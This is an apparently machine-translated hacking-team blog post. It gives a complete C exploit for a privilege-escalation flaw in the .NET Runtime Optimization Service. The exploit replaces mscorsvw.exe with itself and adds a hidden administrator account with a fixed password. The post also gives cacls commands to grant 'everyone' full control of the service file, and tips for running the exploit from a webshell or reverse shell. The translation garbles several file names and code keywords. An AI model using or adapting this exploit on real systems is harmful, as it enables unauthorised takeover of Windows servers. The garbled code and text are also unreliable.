. NET runtime optimization Service Privilege Escalation detailed analysis and exp sharing

Author: LengF (Leng Feng)
Team: www.bhst.org
Blog: www.81sec. om
You are welcome to repost the code, but please keep the copyright note. The main code of the standard is completed by xenomuta! The author of this article only makes a few changes and makes a detailed analysis.
. NET Runtime Optimization Service Privilege Escalation
Vulnerability description http://www.exploit-db.com/exploits/16940
The code in the link mentioned above is c language (with the. c Extension). Many problems have occurred when I downloaded it to the VC6.0 environment for compiling. I changed the suffix to cpp and found that there was only one error. A formatted function snprintf was not defined. It doesn't matter if we look up MSDN, it is found that the function should be written as _ snprintf in c ++. In addition, I made some simple troubleshooting errors in the Code (for example, the function definition is placed behind the function call). The modified code is as follows:

# Include <stdio. h>
# Include <windows. h>

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

# Define PWN_EXE "c: \ WINDOWS \ Microsoft. NET \ Framework \ v2.0.50727 \ mscorsvw.exe"
# Define PWN_NAME ". NET Runtime Optimization Service v2.0.50727 _ X86"
# Define PWN_ID "clr_optimization_v2.0.50727_32"

Int InitService ();
// Equivalent to restarting the service
Void ServiceMain (int argc, char ** argv ){
If (InitService () {// the user is successfully added
ServiceStatus. dwCurrentState = SERVICE_STOPPED; // set the service status to stopped.
ServiceStatus. dwWin32ExitCode =-1; // you can specify the exit code.
SetServiceStatus (hStatus, & ServiceStatus); // Application Service Status
Return;
}
ServiceStatus. dwCurrentState = SERVICE_RUNNING; // restart the service.
SetServiceStatus (hStatus, & ServiceStatus); // Application Service Status
}

Void ControlHandler (DWORD request );

Int main (int argc, char ** argv ){
Char acUserName [100];
DWORD nUserName = sizeof (acUserName );
GetUserName (acUserName, & nUserName); // get the current user name

Printf ("\ n [+] Exploit For. NET Runtime Optimization Service Privilege Escalation \ n ");
Printf ("[+] Code By xenomuta [at] gmail.com \ n ");
Printf ("[+] Complied By LengF [B. H.S. T] \ tKnow It then Hack It \ n ");
Printf ("[+] Team: www.bhst.org \ tBlog: www.81sec.com \ n ");
Printf ("[+] Test On. Net v2.0.50727 _ X86 Success, You Can Recomplie it to Other Versions \ n ");

If (strcmp (char *) & acUserName, "SYSTEM") {// The current user name is not SYSTEM. Note: if the two characters are equal, 0 is returned.
Char * str = (char *) malloc (2048); // defines the allocation of a 2048-byte string
Memset (str, 0, 2048); // Initialization
_ Snprintf (str, 2048, "% s. bak", PWN_EXE); // format the renamed file name string str and change the Formatting Function to _ snprintf
If (rename (PWN_EXE, str )! = 0) {// After rename is successfully renamed, 0 is returned. If it is successfully executed once, it cannot be executed.
Fprintf (stderr, "\ n => Exploit Failed! \ N => sorry, can't write to file. \ n ");
Exit (1 );
}
CopyFile (argv [0], PWN_EXE ,! 0); // copy the program to the original directory and rename it mscorsvw.exe
_ Snprintf (str, 2048, "net start \" % s \ "2> NUL", PWN_NAME); // string formatting
Printf ("\ n => Exploit Finish, Success! \ N Username: \ tServiceHelper \ n Password: \ twelcome2bhst! \ N ");
System (str); // execute the startup command
}

SERVICE_TABLE_ENTRY ServiceTable [2];

ServiceTable [0]. lpServiceName = PWN_ID; // service name
ServiceTable [0]. lpServiceProc = (LPSERVICE_MAIN_FUNCTION) ServiceMain; // service endpoint

// The dispatch table must be set to NULL at the end.
ServiceTable [1]. lpServiceName = NULL;
ServiceTable [1]. lpServiceProc = NULL;
// Start the control dispatch thread of the service
StartServiceCtrlDispatcher (ServiceTable );

Return 0;

 

}

Int InitService (){
// Add a user to the local administrator group during service running
System ("cmd/c net user ServiceHelper welcome2bhst! /Add & net localgroup Administrators ServiceHelper/add ");
Return 1;
}

The code is compiled in VC6.0 and tested in window2003! 01:


After reading the code, we will analyze this process to understand this "Vulnerability" (double quotation marks indicate that I personally think this should not be defined, and it should be configuration negligence ), based on our understanding of the Code, let's take a look at this process:
[1] Run The exp program. First, check whether the current user name is SYSTEM. If not, continue. Otherwise, the next step is continued. (generally, the Elevation of Privilege is not always true) here, the author's Code only compares the current user name with the string SYSTEM. If the user name that runs in webshell is System, it will jump to the following service replacement process, which may cause errors;
[2] if the user is not a SYSTEM, replace the service program c: \ WINDOWS \ Microsoft. NET \ Framework \ v2.0.50727 \ mscorsv1_exe. first, rename this program as mscorsvw.exe. bak then copies the current exp program to c: \ WINDOWS \ Microsoft. NET \ Framework \ v2.0.50727 \ directory and rename it msconrsvw.exe;
[3] after the second step is completed, the system will begin to execute service replacement. After the service is restarted, it will add our command line to add our designated users.
After analyzing the execution process of this program, we can obtain the following prerequisites:
When 1]mscorsvw.exe directory, the current user must have the modification permission;
201722.162.16.exewith the execution right (the program permission of net.exe is involved in the same example)
It seems that these two conditions are very weak. Let's take a look at the actual examples to see if we can break through them. Let me talk about the second one first, which is easier.
Break through the cmd execution permission method:
We all know that you can re-upload a cmd to a directory with the execution permission, and then modify the cmd path of the InitService () command execution function in the source code above, and then re-compile it to solve the problem. Another way of thinking is that you often use things, such as adding a user program to net.exe, which is everywhere on the network.
Solve mscorsvw.exe permission control issues:
It is basically difficult for this program to escalate permissions on the web, and it will be better if it returns a reverse shell. Sometimes you can use the cacls command to increase the permissions of the current user. You can try to execute:
Echo y | cacls "c: \ windows \ Microsoft. NET \ Framework \ v2.0.50727 \ mscorsvw.exe"/e/t/c/g everyone: F
Explanation: echo y is for fast confirmation, Saving Input of y. It can also be executed in webshell. For details, see the cacls help.
Run the following command to check whether the operation is successful:
Cacls "c: \ windows \ Microsoft. NET \ Framework \ v2.0.50727 \ mscorsvw.exe"
Check whether the modification is completely controlled. Of course it depends on luck.
Check out an instance sent by a friend:
[1]mscorsvw.exe permission View:
Run the preceding command and return 2:


R indicates that the user group has only the read permission, C indicates the modification permission for the user group, and F indicates full control.
[2] viewing webshell Permissions
Execute the command whoami and return 3:


It seems that the permission is small. This account is a built-in account of window2003. For details, please refer to Baidu. Thank you for choosing "sleep long.
As long as you can bounce the shell back and try to bounce back, the permission is usually improved.
Another consideration:
The author of the Code is described as follows:
// The Service's exe file can be replaced by any non-Administrator domain account or local authorized user groups (granted permissions by default)
This service's EXE file can be overwritten by any non-admin domain user and local power users (wich are the default permissions set ).
This author makes it clear that the permissions must be granted by default. Maybe during the test, the user group of this system can operate the exe file. I set up window2003 test locally, and I created a users user group user, LengF, it is found that the exe program has only the read and run permissions, so it cannot be used to escalate permissions. 4:


Summary:
This article thoroughly analyzes the use of this vulnerability through code analysis and some instance tests.